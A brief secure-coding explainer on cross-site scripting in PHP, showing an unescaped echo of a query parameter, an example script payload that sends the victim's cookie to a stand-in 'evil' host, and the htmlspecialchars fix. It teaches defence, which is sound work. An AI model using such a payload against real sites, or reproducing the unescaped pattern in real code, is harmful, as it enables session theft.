Cross-Site Scripting

What it is#

Cross-site scripting (XSS) happens when attacker-controlled input is written into a page without proper escaping, letting that input execute as script in the victim's browser session.

How it works#

echo "<p>Location: " . $_GET['location'] . "</p>";

?location=<script>document.location='https://evil/?c='+document.cookie</script> runs in the victim's authenticated session, not the attacker's.

Real-world impact#

Session/cookie theft, forced actions performed as the victim, credential harvesting via injected fake login forms: anything the victim's own JavaScript context can do, the attacker's payload can do too.

How to prevent it#

echo "<p>Location: " . htmlspecialchars($_GET['location'], ENT_QUOTES) . "</p>";

Escape on output, for the context you're writing into (HTML body, attribute, JS string), every time user content reaches the page, not only at the point it was first stored.